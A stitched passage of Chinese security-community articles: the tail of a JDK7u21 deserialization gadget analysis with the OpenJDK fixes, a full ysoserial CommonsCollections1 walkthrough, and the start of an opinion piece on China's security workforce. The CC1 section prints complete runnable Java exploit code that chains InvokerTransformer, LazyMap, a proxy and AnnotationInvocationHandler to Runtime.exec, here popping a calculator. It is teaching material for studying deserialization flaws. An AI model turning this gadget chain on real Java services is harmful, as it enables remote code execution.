}
}
结合payload看分析，明白payload为什么这样写，更容易帮助我们理解这个漏洞。
## 0x05 漏洞分析
如果分析过 CC 链或者看过 CC 链分析文章的朋友，一定知道在 CC 链中可以当成命令执行的载体有以下两个类：
* `org.apache.commons.collections.functors.ChainedTransformer`
* `org.apache.xalan.xsltc.trax.TemplatesImpl`
我们知道要想实现 RCE 就必须要调用一个命令执行类，`Runtime.getRuntime().exec()`，CC
链中的`org.apache.commons.collections.functors.ChainedTransformer`类就存在可以用于对象之间转换的`Transformer`接口，它有几个我们用得着的实现类，ConstantTransformer、InvokerTransformer以及ChainedTransformer，利用这几个对象，就可以构造出一个可以执行命令的链，从而达到命令执行的目的。
但若是没找到可以用于对象之间转换的接口或者这些接口在黑名单中怎么办呢？
**当依赖或者源程序中不存在可以执行命令的方法时，可以选择使用`TemplatesImpl`作为命令执行载体，并想办法去触发它的`newTransformer`或`getOutputProperties`方法**
也就是上面我们所说的第二个类`org.apache.xalan.xsltc.trax.TemplatesImpl`，这个类是 jdk7u21 原生
gadget 链中我们需要当初命令执行载体的类。
那么这个类如果构建 evil 类需要满足哪些条件呢？已经有师傅总结成了以下几个条件：
1. TemplatesImpl类的 `_name` 变量 != null
2. TemplatesImpl类的`_class`变量 == null
3. TemplatesImpl类的 `_bytecodes` 变量 != null
4. TemplatesImpl类的`_bytecodes`是我们代码执行的类的字节码。
5. 执行的恶意代码写在`_bytecodes` 变量对应的类的静态方法或构造方法中。
6. TemplatesImpl类的`_bytecodes`是我们代码执行的类的字节码。`_bytecodes`中的类必须是`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`的子类
7. TemplatesImpl类的`_tfactory`需要是一个拥有`getExternalExtensionsMap()`方法的类，通常使用`jdk`自带的`TransformerFactoryImpl()`类
`TemplatesImpl`有四个方法：
* `TemplatesImpl.getOutputProperties()`
* `TemplatesImpl.newTransformer()`
* `TemplatesImpl.getTransletInstance()`
* `TemplatesImpl.defineTransletClasses()`
但是对于后两个来说，是`private`方法，只能被对象可调用方法间接调用，而前两者是`public`方法，可以被对象直接调用。
那么第一阶段我们便明白了——利用`TemplatesImpl`注入我们要构造的恶意类，然后想办法触发它的`newTransformer`或`getOutputProperties`方法。
怎么触发？`frohoff`给了我们答案——`AnnotationInvocationHandler.invoke`
那么这个方法为何能够触发呢？继续翻源码！
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
...
}
可以看到当调用方法为 `equals`并满足相关条件时，会继续调用内部方法`equalsImpl()`，跟进`equalsImpl()`
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
在`equalsImpl()`方法里，会首先判断传入的 Object 对象是否为 type 对象的实例，然后调用 type class
的所有方法，再依次调用。
这样分析下来就清楚了，只要我们在实例化`AnnotationInvocationHandler`时传入`Templates.class`，然后令`equals()`的参数为
type 的实现类就可以实现`getOutputProperties`方法的触发。
到这里我们的问题又来了。
接下来的后续链又如何寻找呢？
其实在这个类的开始，有一段话如下：
`InvocationHandler for dynamic proxy implementation of Annotation.`
`InvocationHandler 用于 Annotation 的动态代理实现。`
那么根据前面动态代理相关的知识我们知道，
**当为某个类或接口指定`InvocationHandler`对象时，在调用该类或接口方法时，就会去调用指定`handler`的`invoke()`方法**。因此，当我们使用`AnnotationInvocationHandler`创建`proxy
object`，那么调用的所有方法都会变成对`invoke`方法的调用。
也就是说，我们需要使用 `AnnotationInvocationHandler` 创建 `Proxy Object` 并让其代理 `Templates`
接口，然后再调用`proxy object`的 `equals`方法，将`Templates`当成参数传入就完成了前部分链的组装。
现在，我们的目标实际上就变成了如何调用`Proxy.equals(EvilTemplates.class)`。
现在让我们总结一下能寻找到满足条件场景的条件：
* 要能够调用 proxy 的 equals 方法（这是我们刚才分析的）
* 要有反序列化接口——要能调用`readObject()`方法（这样才可以将我们的序列化数据传进去开始反序列化）
不向下说，我们先来看看`ysoserial`中的反序列化载体有哪些：
* `AnnotationInvocationHandler` （CC1、CC3、 Groovy1）
* `PriorityQueue` （CC2、CC4）
* `BadAttributeValueExpException` （CC5、 MozillaRhino1 ）
* `HashSet` （CC6）
* `HashMap` （ Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ）
* `org.jboss.interceptor.proxy.InterceptorMethodHandler` （ JBossInterceptors1 、 JavassistWeld1 ）
* `org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider` （ Spring1 、 Spring2 ）
这些反序列化载体中大多数是通过对元素进行一些操作，然后触发了后续链的调用。
实际上我猜测`jdk7u21`的作者`frohoff`可能也是通过这样的思考最终找到了`LinkedHashSet`类。
`LinkedHashSet` 位于 `java.util` 包内，是`HashSet`的子类，向其添加到 set
的元素会保持有序状态，并且在`LinkedHashSet.readObject()`的方法中，当各元素被放进`HashMap`时，第二个元素会调用`equals()`与第一个元素进行比较——这样一来恰好就满足了我们上面所说的两个条件。
所以在这里我们只要反序列化过程中让`Pproxy Object`
先添加，然后再添加包含恶意代码的实例，就会变成，`Proxy.equals(EvilTemplates.class)`，它被代理给`AnnotationInvocationHandler`类，并且进入`equalsImpl()`方法，在`getMemberMethods()`遍历`TemplatesImpl`的方法遇到`getOutputProperties`进行调用时，导致命令执行，从而完美的实现了整个攻击链。
到这里其实整个漏洞就分析完了，但是在`LinkedHashSet`链中还有一个有意思的地方。
`LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put()`
// 将指定值与此映射中的指定键相关联
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key.hashCode());
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
// 关键点
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
在`put`方法里，有一个条件：`if (e.hash == hash && ((k = e.key) == key || key.equals(k)))`
如果想要走到`key.equals(k)`就必须满足`e.hash == hash`并且`k!=e.key`。
对于`k == e.key`很好判断，因为`EvilTemplates newInstance != Proxy Object`，那`e.hash ==
hash`应该如何判断呢？
实际上看源代码就知道，要让`127 * ((String)var3.getKey()).hashCode()`的结果等于0
，也就是`(String)var3.getKey()).hashCode()`的值要为零，这样才可以满足那个`if`判断。
这里利用的其实就是hash碰撞。
经过碰撞我们得到了碰撞的第一个结果`f5a5a608`，也就是 payload 中的`map.put('f5a5a608',
templates);`这样写的原因。
整个流程可以总结成如下的思维导图：
## 0x06 漏洞修复
互联网上对于`jdk7u21`原生gadget链修复方式有两种讨论。
**第一种：**
**第二种：**
实际上经过我的测试发现，其实这两种说法都没有问题。
首先来看存在漏洞的最后一个版本（`611bcd930ed1`）：<http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java>
查看其 children
版本（`0ca6cbe3f350`）：<http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java>
compare一下：
// 改之前
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
// 改之后
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。
继续查看`0ca6cbe3f350`的`children`版本（`654a386b6c32`）：<http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java>
可以发现在 `AnnotationInvocationHandler`构造方法的一开始的位置，就对于`this.type`进行了校验。
// 改之前：
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
// 改之后：
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
此外，除了在构造方法处的验证，在其获取成员方法时，也做了验证：
验证内容如下：
private void validateAnnotationMethods(Method[] memberMethods) {
boolean valid = true;
for(Method method : memberMethods) {
if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||
method.getParameterTypes().length != 0 ||
method.getExceptionTypes().length != 0) {
valid = false;
break;
}
Class<?> returnType = method.getReturnType();
if (returnType.isArray()) {
returnType = returnType.getComponentType();
if (returnType.isArray()) { // Only single dimensional arrays
valid = false;
break;
}
}
if (!((returnType.isPrimitive() && returnType != void.class) ||
returnType == java.lang.String.class ||
returnType == java.lang.Class.class ||
returnType.isEnum() ||
returnType.isAnnotation())) {
valid = false;
break;
}
String methodName = method.getName();
if ((methodName.equals("toString") && returnType == java.lang.String.class) ||
(methodName.equals("hashCode") && returnType == int.class) ||
(methodName.equals("annotationType") && returnType == java.lang.Class.class)) {
valid = false;
break;
}
}
if (valid)
return;
else
throw new AnnotationFormatError("Malformed method on an annotation type");
}
`validateAnnotationMethods`验证方法对注解类型中声明的方法进行了限制，禁止了包含静态方法和声明的方法，要求注释类型必须采用零个参数并且对返回类型也做了限制。
所以，个人总结，网上讨论的两种修复方式其实都没有问题，只是因为不同的jdk版本导致了修复方式不完全一样，也导致`payload`会在不同的地方被拦截，从而出现不一样的错误。
如下图时在`jdk1.8.151`中出现的错误。
下图时在`jdk7u25`中出现的错误。
## 0x07 总结
整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。
## 0x08 参考
<https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/>
<https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E%90/>
<https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximate>
<https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/>
<https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQ>
<https://xz.aliyun.com/t/6884#toc-12>
<https://paper.seebug.org/792/> | 社区文章 |
# Ysoserial CommonsCollections1 详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前面介绍了ysoserial工具的结构以及一些使用方法，最终自己构造利用链添加在ysoserial的工具中。为了更好的认识反序列化漏洞的相关利用，从本节开始介绍在ysoserial工具中出现的反序列化漏洞利用链。先看CommonsCollections1的相关研究与分析，目前互联网上存在不少关于该利用链的分析，有的写得逻辑不对，有的分析的不全面，特别是遗漏了具体的知识点和payload编写方法。我打算从以下几个角度思考CommonsCollections1利用链的具体构造方法
1. 反序列化链的终点
2. 反序列化链中“链”的艺术
3. Payload编写方法
4. 技术点总结
文中涉及到的技术点加粗标识
## 0x01 反序列化链的终点
在漏洞挖掘领域一个很重要的分析方法就是从最终的命令执行点或是触发点分析，可以很好理解漏洞的整个利用形态。同时分析编写反序列化链的基本功就是理解并掌握最后命令触发方式。
在ysoserial 工具中与CommonsCollections1使用同一个命令执行点的链为
CommonsCollections5
CommonsCollections6
CommonsCollections7
当然其他的链也用形同的基础技术细节，只不过最后的执行方式不同，下面详细的介绍这类命令执行有什么的特点和利用方法
### 0x1 类与反射
Java反序列化难就难在利用了大量的Java编程的基础知识，以至于在整个利用链中到处都是这种知识的利用。因此我在写反序列化利用链分析的时候尽可能的把知识点分析清楚，在命令终点处第一个需要理解的概念就是什么是类什么是
_反射_ 。
大佬们写文章分析反序列化总忽略在反射时的相关概念。这里我提一嘴，我们都知道反射是Java代码动态加载运行的关键技术，这使得Java代码的灵活性大大提高。Java属于面向对象语言，类这个词在Java代码中频繁的出现，但是类的背后是什么却鲜为人知。
**1\. Class 类**
反射技术的基础就是每个类都有个Class对象，Class本来是个类，这个要与class分清楚（这里的class是类型）。每个类在JVM加载运行的时候都会new一个Class对象出来保存类的一些方法和属性，并与类相对应。用图表示如下
Class类的构造方法为private属性，也就是只能类内部调用，类实现关系和构造方法如下所示：
以String类为例创建方法如下，当JVM加载String类时，它首先读取String.class文件到内存，然后，为String类创建一个Class实例并关联起来：
Class cls = new Class(String);
从cls的创建方式上讲，String和Class知识简单的依赖关系，Class依赖String保存一些String的相关信息，不要理解是有继承和实现的关系。
**2\. 获取Class对象**
我们可以通过以下三种方法获取Class对象
Class str = String.class;
Class str = new String().getClass();
Class str = Class.forName("java.lang.String");
在Class类中包含着很多方法函数，其中在本章节使用最频繁的就是
* getMethod
* invoke
这些函数也是反射的关键函数，需要注意的是 **这些函数只存在于Class类和对象中** ，这对于理解反序列化链的payload有着很大的帮助。
**3\. 反射的基本用法**
反射又有很多琐碎的点，这里只讲它的基本用法如果当前拥有一个对象的话，那么可以动态的调用该对象的所有方法
// Step1 获取Class对象
Class cls = obj.getClass();
// Step2 获取想要的方法对象
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});
// Step3 调用方法
mth.invoke(obj,new Object[]{arg1,arg2})
这里注意的是getMethod的第二个参数为Class数组，Class的概念我们之前也提到过。
### 0x2 基于接口的多态
介绍过类与反射之后，看一下CommonsCollections1 链里的实现技术，基于接口的多态，这里的接口指的是 Transformer，定义如下
他的实现类有很多，如下图所示
我们再看一看ChainedTransformer类中关于Transformer变量的定义
ChainedTransformer::private final Transformer[] iTransformers;
iTransformers的类型为Transformer接口，这就意味着可以通过向上转型的方式将它的三个实现类利用多态的能力填充在Transformer数组中，之后配合ChainedTransformer的transform方法，链式的调用iTransformers数组中Transformer类型的transform方法
其中ChainedTransformer的transform方法如下
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
### 0x3 命令执行终点
关于类、反射和多态的概念理解清楚之后，我们分析下本节的重点，CommonsCollections1链命令执行的终点。
在InvokerTransformer中的transform方法如下
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
...
这里有反射获取方法并调用的操作，因此需要通过一系列的invoke执行exec指令，看下最简单的方法
Transformer tf = new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{ "calc"});
tf.transform(Runtime.getRuntime());
这里涉及到一个坑，在反序列化的时候函数中涉及到的对象必须是实现了Serializable接口，但是在这里Runtime.getRuntime()得到的是Runtime对象，然而Runtime对象是没有实现反序列化接口的所以，这里不能这么写。要通过ChainedTransformer
实现最终的执行链。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
以上是现成的执行链，其中有很多特殊的构造技巧，比如ConstantTransformer不论transform函数参数是什么，都会返回ConstantTransformer的构造参数。第一句和第二句的组合相当于执行以下语句
Method aa = (Method) Runtime.class.getClass().getMethod("getMethod",new Class[] {String.class, Class[].class }).invoke(Runtime.class,new Object[]{"getRuntime",new Class[0]});
梳理下该执行语句的关系图
如图所示总结几点
* getMethod，invoke方法必须由绿色的类调用
* a2虽然没有Runtime类中的方法，但是可以生成Runtime中的方法类
* 每个类对应一个Class对象如图所示
这所有的一切又是那么的明白，之后调用getRuntime
Method对象的invoke执行该方法，获得getRuntime类，再去调用exec函数，这就是最后的命令执行点，坑点还很多好好消化消化。
### 0x4 新的起点之多命令执行
命令执行这就结束了吗，其实我们可以通过ChainedTransformer实现多命令执行，仔细思考下这个执行链的构造。
ChainedTransformer的iTransformers为Transformer类型，那么数组元素也可以为类自身，这就可以实现多个链的连环触发了，构造如下：
//构造Transformer数组
final Transformer[] transformers1 = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
//将ChainedTransformer设为数组元素
final Transformer[] transformers2 = new Transformer[] {
new ChainedTransformer(transformers1),new ChainedTransformer(transformers1)
};
//将Transformer[]类型变量设为构造参数
final Transformer transformerChain = new ChainedTransformer(
transformers2);
## 0x02 反序列化链中“链”的艺术
本节正式介绍CommonsCollections1 整个利用链的原理和触发方式
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
### 0x1 触发ChainedTransformer transform 方法
首先回顾上一节的命令执行的触发点为ChainedTransformer类的transform方法，如下图所示
### 0x2 触发LazyMap get方法
那么谁来调用这个transform方法呢，可以发现在LazyMap的get方法中有一处调用，如下图所示
变量factory为何物，由LazyMap的构造方法追到factory为Transformer类型的变量
所以上面的ChainedTransformer可以通过构造方法与LazyMap关联
### 0x3 触发AnnotationInvocationHandler invoke方法
LazyMap搞定后，就是想如何触发其中的get方法，这时有如下代码
正好在AnnotationInvocationHandler
invoke方法中调用想要的map类的get方法，同时只需要在构造方法处传入LazyMap即可，这些都不是问题。
### 0x4 代理类触发 invoke
invoke方法很特殊，看先AnnotationInvocationHandler实现了InvocationHandler接口
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
......
}
该接口可以用来实现 **JDK代理** ，代理的概念如果是刚听说还是有点迷糊的，简答的介绍下。
JDK代理的主要函数为 ，Proxy.newProxyInstance
通过向该函数传递ClassLoader，interfaces，和重写invoke方法的InvocationHandler实现类即可实现代理。JDK代理是基于接口的，因为在本身在实现的时候是继承实现的，由于继承是单继承所以只能依靠接口。代理成功之后再调用原来类方法的时候会首先调用InvocationHandler实现类的invoke方法。
同时发现在readObject方法中有memberValues的方法调用，所以我们可以把memberValues设置为代理类，当调用entrySet方法时触发代理类的invoke方法。
## 0x03 Payload编写方法及测试
本节介绍Payload的编写方法，根据之前分析的调用链，可以很清楚的编写整个利用。
### 0x1 Payload编写
首先构造Transformer类型的执行链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
* * *
生成LazyMap
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
* * *
生成代理类Handler，需要注意的是AnnotationInvocationHandler的构造方法是default限定符，所以需要外包无法直接访问。这里采用第3行，将构造方法设置为public属性，在创建实例的时候将lazyMap添加在构造方法参数中即可。
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
* * *
有了handler之后，生成Proxy对象，这里的代理对象为一个HashMap，代码如下所示，代理完成之后调用testMap方法时会首先调用secondInvocationHandler中invoke方法的内容，而这个Handler的memberValues为lazyMap，所以就会触发invoke中的get方法。
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
* * *
生成AnnotationInvocationHandler对象，为了调用Object中memberValues的entrySet方法，需要再次实例化AnnotationInvocationHandler类，这是将代理类作为构造方法的第二个参数，调用序列化和反序列化函数，成功触发漏洞。
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
byte[] serializeData=serialize(handler);
unserialize(serializeData);
### 0x2 编写测试代码
实现两个功能，序列化类和反序列化类代码如下
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
### 0x3 完整代码
将上述代码按照顺序整合，最终成功调用计算器
public class cc1test {
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
secondInvocationHandler
);
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
byte[] serializeData=serialize(handler);
unserialize(serializeData);
}
}
完整代码放在了github上 <https://github.com/BabyTeam1024/ysoserial_analyse>
## 0x04 技术点总结
整个CommonsCollections1链看起来挺简单，但背后的知识点确实挺多，总结下如果不太清楚的点可以单独学习
* 类与反射
* 基于接口的多态
* JDK动态代理
* AnnotationInvocationHandler 做类与代理类
* LazyMap与HashMap
* 序列化与反序列化函数
## 0x05 问题分析
1. 为什么构建AnnotationInvocationHandler类是用反射的方法？
因为AnnotationInvocationHandler的构造方法修饰符限制问题，该类正常调用时最多只能在同一个包中调用，所以用构造器方法创建实例。
1. 为什么AnnotationInvocationHandler创建两次实例？
一次是生成代理类，一次是生成反序列化对象，职责不太一样。
2. InvokerTransformer 在调用getMethod和invoke方法的时候，参数必须为Class数组吗？
必须为Class数组，如下所示，这是因为getMethod和invoke方法在Class类里定义的方法参数为此形式
new Class[] {String.class, Class[].class }
new Class[] {Object.class, Object[].class}
public Method getMethod(String name, Class<?>... parameterTypes)
public Object invoke(Object obj, Object... args)
## 0x06 总结
详细分析完CommonsCollections1感觉收获了不少，之后会继续分析剩下的利用链，总结其中的知识点以及坑点。
## 参考文章
<https://xz.aliyun.com/t/8164?accounttraceid=ad01007c6ce44ff290f3a7ba07888b1avmus>
<https://xz.aliyun.com/t/6787>
<https://zhuanlan.zhihu.com/p/143840647> | 社区文章 |
# 阿里安全资深专家杭特辣评中国网络安全人才之“怪现状”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 随着网络空间成为第五空间、社会基础产业全面互联网化，网络安全（或称广义的信息安全）面临的威胁越来越大，对网络安全的人才需求也呈现出井喷趋势。即使目前很多人可以自学成才，“网络空间安全”也成为一级学科，但根据《第十一届网络空间安全学科专业建设与人才培养研讨会》得出的结论，“我国网络空间安全人才年培养规模在3万人左右，已培养的信息安全专业人才总量不足10万，离目前需要的70万差距巨大。”缺口不小，但目前安全人才的历史存量和每年的增量，其结构是不是合理，是否反映了产业的需求呢？
**阿里安全资深专家杭特**
阿里安全资深专家杭特在安全行业从业十余年，甲方和乙方公司都有经历。他认为，相对于欧美等发达国家，国内人才培养在结构和技能方面，有几个“怪现状”。
## 重视“攻”， 轻视“防”
攻防就如同硬币的两面，哪一方面都不可或缺，因此才出现了“以攻促防”，“未知攻，焉知防”之类的金句。但现实往往不尽如人意，这些金句实际上也只做到了前面一半，后一半则明显薄弱，最终成了“虎头蛇尾”，“强弩之末”。现在安全人才在总数不够的前提下，防守人才更是极其匮乏，比例严重失调。表现形式很多：
情形1、对于搞Web漏洞和渗透的人，八成以上不知道怎么搞SDL；
情形2、技术类的文章，大部分都是攻击挖洞类的文章，至于防护方案，通常只有短短几句，“已将问题提交厂商”、“不要使用弱口令”、“及时更新系统”等等；
情形3、一个个基础系统被攻破，2G有伪基站、4G也能被降级劫持、Wi-Fi不可靠、蓝牙不安全，操作系统天天打补丁还能被控制。安全Geek们无所不能的同时，也得保护好自己，把自己武装到了牙齿，“我小心故我安全”，但想做到独善其身很难，你的爹妈和亲戚朋友可咋办？别说那些高大上的，密码太多记不住，这么现实的问题，让岁数大的人怎么解？
**小结** **：**
攻击技术很重要，相关人才也要占领高地，高价值漏洞这样的战略武器一定要有，但这绝不是网络安全的全部。打个比方，相对于目前多方都有“NUKE”（核武器）的现状，造十枚还是百枚核弹并没有区别，反而是类似于美国的TMD（战区导弹防御系统）更显重要。我们有如此多的系统需要建长城来守卫，期待更多防守人才的出现和贡献。
## 重视“攻防”， 轻视“数据”
大部分业界从业者认为，安全就是Security，但实际上对应的英文单词有两个，我们先来区别一下（根据NIST CPS Framework的定义）。
Safety：确保生命、健康、财产、权益人数据及物理环境等方面不存在灾难性后果；
Security：内外部的保护，以避免无意或者未授权的访问、改变、破坏或使用。
之前网络安全大部分都属于Security的范畴，但随着IoT和ICS 的出现，动动鼠标也能物理危害人身安全，从而扩展到了Safety的领域。
由于Safety更注重能影响物理世界的安全，因此作为争夺“EIP”控制权的“攻防”是最为重要的；而Security要重点保护的，其实是“数据”的控制权。
可惜的是，绝大多数的安全人才都把精力放在“攻防”上，认为只要拿到控制权，就能拿到数据，但事实真的如此？举个反例，不考虑物理攻击，现在iOS的指纹数据貌似还没有人能拿到，即使能完美越狱又如何呢？在这里笔者再引申两个问题，供大家可以思考：
问题1、不借助硬件，有哪些领域的数据安全需求是和漏洞一点关系都没有的？
问题2、不考虑可用性问题，一个系统给你root/admin就真的非常可怕？
**小结** **：**
安全要搞清楚保护的对象是什么，而这些对象也随着产业发展不断变化。“EIP”控制权的争夺应该更多的面向与物理世界相连的设备，而其它的场景，则应该重点关注“数据”的控制权。数据已经成为DT时代的石油，是产生价值的新能源，如果还是用传统的漏洞思维来谈数据安全，是肯定做不好的，密码学久违的春天已经到了。
## 重视“单点、破坏”， 轻视“体系、建设”
安全有一个著名的木桶理论，“系统安全性的整体水位与最脆弱的组件水位相同”，绝大多数的人都在“集中优势兵力，从系统最薄弱的地方突破”，可是破坏容易建设难。当要保护的对象足够多、足够复杂，如何能成体系地进行安全建设，如何能将安全威胁收敛到可控的程度，是一件非常有挑战的事情，下面列举几个：
**反入侵** **：**
对于所有的企业，这都是个令人头疼的挑战。有句笑话，“世界上只有两种企业，一种是知道自己被入侵的，一种是不知道自己被入侵的”。反入侵需要非常体系化的架构来控制风险。很多企业借助众筹或蓝军模拟渗透找到某些脆弱点并完成修复，认为这样就能高枕无忧，这种做法只是暴漏了很小的风险，连标都没治，更别说本了。实际上SDL只是标配，WAF、RASP、各种监控、各种数据、各种算法，安全建设的任务艰巨……
**供应链安全** **：**
前几年APT热火朝天，各种0day满天飞，门槛也快速提升，攻防双方的日子都不好过。东边不亮西边亮，随着XCodeGhost的爆发，xshell、CCleaner、pip、nodejs接连中招，原来还可以这么玩？目前发现的例子都是事后，还有多少掩藏在冰山之下？目前还没有特别有效的防护方案，要么太重型，要么太晚，面对连规则都没有的目标，希望渺茫。试问有哪个企业和组织可以置身事外？别以为有源码就安全了，pip和nodejs都是源码，更别说还有算法级后门了。
